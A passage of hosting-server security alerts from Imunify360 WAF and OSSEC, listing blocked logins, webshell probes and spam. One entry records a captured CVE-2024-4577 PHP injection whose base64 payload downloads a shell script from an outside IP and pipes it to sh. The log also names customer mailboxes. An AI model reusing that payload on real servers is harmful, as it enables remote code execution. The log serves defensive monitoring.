Jan 21 08:02:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.123.193
country_id: 1562822
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/coolant.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 08:06:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.238
country_id: 2921044
description:
Jan 21 08:06:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.52.22
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=11541516782188 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-21 08:07:48 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.70.164.149
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/camera/605899 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.131
country_id: 3469034
description:
Jan 21 08:07:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.44
country_id: 690791
description:
2026-01-21 08:08:32 H=([77.83.39.44]) [77.83.39.44]:60429 F=<ucwl.investors@jkmail.com> rejected RCPT <enquiry@nexuscollection.com>: SPF: 77.83.39.44 is not allowed to send mail from jkmail.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.131
country_id: 3469034
description:
Jan 21 08:08:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.24.126
country_id: 2300660
description:
Jan 21 08:08:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.24.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.213.194.254
country_id: 1269750
description:
Jan 21 08:09:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.213.194.254 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:12:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-01-21 08:15:40 dovecot_plain authenticator failed for H=(sconal) [192.34.128.202]:40678: 535 Incorrect authentication data (set_id=marketing@kdiballoon.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.34.128.202
country_id: 6252001
description:
Jan 21 08:15:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.34.128.202 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.9.152
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=39131514874788 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.24.202.174
country_id: 798544
description:
Jan 21 08:17:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.24.202.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 08:17:37 H=([45.144.212.242]) [45.144.212.242]:54302 F=<no_reply@admin.com> rejected RCPT <enquiry@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.174.46.130
country_id: 3996063
description:
Jan 21 08:18:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.174.46.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.174.46.130
country_id: 3996063
description:
2026-01-21 08:18:53 dovecot_plain authenticator failed for H=(theans) [201.174.46.130]:46026: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.5.177
country_id: 6252001
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-19.65.111.5.177||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.44.12
country_id: 6252001
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-19.104.207.44.12||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 144.139.52.214
country_id: 2077456
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p>a few more items that are low on stock and possibly not on order?</p>\r\n<p>26-01831 - double s alum wedged heartbar 2 front unclipped</p>\r\n<p>26-01831 - double s alum wedged heartbar 2 front unclipped<span>&nbsp;</span></p>\r\n<p><span>38-00441 - </span>diamond super sharp hoof knife wide blade left<span>&nbsp;</span></p>\r\n<p><span>40-00269 -&nbsp;</span>stud hole machine tap hsse tin 3/8\"<span>&nbsp;</span></p>\r\n<p>&nbsp;</p>\r\n<table style=\"width: 572px;\" border=\"0\" width=\"128\" cellspacing=\"0\" cellpadding=\"0\"><colgroup><col style=\"width: 302px;\" span=\"2\" width=\"64\"></colgroup>\r\n<tbody>\r\n<tr style=\"height: 14.4pt;\">\r\n<td style=\"height: 14.4pt; width: 48pt;\" width=\"64\" height=\"19\">&nbsp;</td>\r\n<td style=\"width: 48pt;\" width=\"64\">&nbsp;</td>\r\n</tr>\r\n<tr style=\"height: 14.4pt;\">\r\n<td style=\"height: 14.4pt;\" height=\"19\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr style=\"height: 14.4pt;\">\r\n<td style=\"height: 14.4pt;\" height=\"19\">&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<table style=\"border-collapse: collapse; width: 81px; height: 24px;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><colgroup><col style=\"width: 40.5px;\" span=\"2\" width=\"64\"> </colgroup>\r\n<tbody>\r\n<tr style=\"height: 14.4pt;\">\r\n<td style=\"width: 48pt;\" width=\"64\" height=\"19\">&nbsp;</td>\r\n<td style=\"width: 48pt;\" width=\"64\">&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<table style=\"border-collapse: collapse; width: 572px;\" border=\"0\" width=\"128\" cellspacing=\"0\" cellpadding=\"0\"><colgroup><col style=\"width: 302px;\" span=\"2\" width=\"64\"></colgroup>\r\n<tbody>\r\n<tr style=\"height: 14.4pt;\">\r\n<td style=\"height: 14.4pt;\" height=\"19\">&nbsp;</td>\r\n<td>&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.251.227
country_id: 6251999
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-19.216.26.251.227||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.164.60
country_id: 6252001
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-19.209.50.164.60||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.140.123.222
country_id: 3469034
description:
Jan 21 08:20:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.140.123.222 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 08:21:26 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.212.10
country_id: 798544
description:
Jan 21 08:23:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.212.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.19.195.12
country_id: 3144096
description:
Jan 21 08:24:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.19.195.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-21 08:24:31 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:43848: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.64.116.11
country_id: 6252001
description:
2026-01-21 08:25:40 dovecot_login authenticator failed for H=(localhost) [64.64.116.11]:32055: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:25:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 146.103.99.19
country_id: 2750405
domain: 42.0.28.25:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:7.64||T:APACHE||SC:/var/www/html/hello.world||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 146.103.99.19
country_id: 2750405
domain: 42.0.28.25:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 146.103.99.19
country_id: 2750405
domain: 42.0.28.25:80
description:
IM360 WAF: PHP Injection Low value||MV:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||MVN:ARGS_NAMES:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||RSV:7.64||T:APACHE||SC:/var/www/html/hello.world||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.121.26
country_id: 3469034
description:
Jan 21 08:26:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.121.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:27:40 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51642: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51663: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 08:29:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:30:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:59826: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-21 08:31:43 H=([46.151.182.48]) [46.151.182.48]:52830 F=<mailerd@astlog.com.my> rejected RCPT <info@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.229.115
country_id: 2542007
description:
[2026-01-21 08:31:50 +0800] info [cpaneld] 104.28.229.115 - mkmetalc "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.52.137.218
country_id: 1733045
description:
[2026-01-21 08:32:11 +0800] info [webmaild] 60.52.137.218 - rozie@pftfood.com "POST /cpsess4023403949/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [60.52.137.110] != Current IP Address [60.52.137.218]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64697: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:34:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 08:35:00 H=([45.144.212.242]) [45.144.212.242]:62819 F=<no_reply@admin.com> rejected RCPT <emma@agsaintifik.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 08:35:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.44
country_id: 690791
description:
2026-01-21 08:37:12 H=([77.83.39.44]) [77.83.39.44]:62009 F=<ucwl.investors@jkmail.com> rejected RCPT <laupk@chs.com.my>: SPF: 77.83.39.44 is not allowed to send mail from jkmail.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.14.5
country_id: 732800
description:
2026-01-21 08:37:32 dovecot_login authenticator failed for H=(localhost) [94.156.14.5]:15851: 535 Incorrect authentication data (set_id=info@chs.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.30.230
country_id: 226074
description:
Jan 21 08:38:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.30.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.133.19
country_id: 3175395
description:
Jan 21 08:38:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.133.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.209
country_id: 3469034
description:
Jan 21 08:38:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.209
country_id: 3469034
description:
Jan 21 08:39:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.5.83.21
country_id: 1819730
description:
2026-01-21 08:39:15 dovecot_login authenticator failed for H=(localhost) [194.5.83.21]:59340: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.249
country_id: 798544
description:
Jan 21 08:39:48 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.110.58
country_id: 798544
description:
Jan 21 08:40:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.110.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.249
country_id: 798544
description:
Jan 21 08:40:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.84
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-40.92.71.72.84||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.12
country_id: 933860
description:
Jan 21 08:41:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.0.105.88
country_id: 2510769
description:
Jan 21 08:41:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.0.105.88 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.21.1.121
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61455: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.159.120.160
country_id: 1733045
description:
[2026-01-21 08:43:23 +0800] info [webmaild] 110.159.120.160 - sayongmbp@ms-chemicals.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 49.48.129.55
country_id: 1605651
description:
2026-01-21  8:45:24 458876 [Warning] Aborted connection 458876 to db: 'unconnected' user: 'unauthenticated' host: '49.48.129.55' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:47:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.127
country_id: 2300660
description:
Jan 21 08:48:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.127 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.156.14.5
country_id: 732800
description:
Jan 21 08:49:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.156.14.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.14.5
country_id: 732800
description:
2026-01-21 08:49:23 dovecot_login authenticator failed for H=(localhost) [94.156.14.5]:9308: 535 Incorrect authentication data (set_id=info@visoft.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.49
country_id: 798544
description:
Jan 21 08:50:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/demos/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 08:51:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 08:52:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/plug/sms/img/product.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 08:54:00 +0800] info [webmaild] 203.106.96.63 - infolab@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.48.214
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-55.142.111.48.214||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.220.72.99
country_id: 51537
description:
Jan 21 08:56:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.220.72.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.29.118
country_id: 226074
description:
Jan 21 08:57:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.29.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 08:57:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.29.118
country_id: 226074
description:
Jan 21 08:57:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.29.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-21 08:58:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61710: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.169
country_id: 2300660
description:
Jan 21 08:58:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.169 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-21 08:59:07 +0800] info [webmaild] 203.106.96.63 - ehsan@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.11.22
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-02.65.111.11.22||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 211.25.18.142
country_id: 1733045
description:
